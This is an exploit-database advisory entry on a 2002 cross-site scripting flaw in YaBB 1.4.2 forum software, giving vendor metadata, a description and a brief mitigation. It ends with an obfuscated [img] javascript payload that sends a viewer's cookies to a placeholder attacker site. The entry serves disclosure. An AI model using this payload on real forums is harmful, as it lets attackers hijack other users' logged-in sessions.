YaBB Cross-Agent Scripting Vulnerability

vendor:

YaBB

by:

SecurityFocus

8.8

CVSS

HIGH

Cross-Agent Scripting

CWE

Product Name: YaBB

Affected Version From: YaBB 1.4.2

Affected Version To: YaBB 1.4.2

Patch Exists: No

Related CWE: N/A

CPE: a:yabb:yabb

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP

2002

YaBB Cross-Agent Scripting Vulnerability

YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB. This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/3828/info

YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms.

YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

[img]javascr&#x69;pt:document.write
('&#x3cimg
src=&#x68;tt&#x70;://attackerssite/tools/cookie.plx?cookie='+escape(docu
ment.cookie)+'&#x3e')
[/img]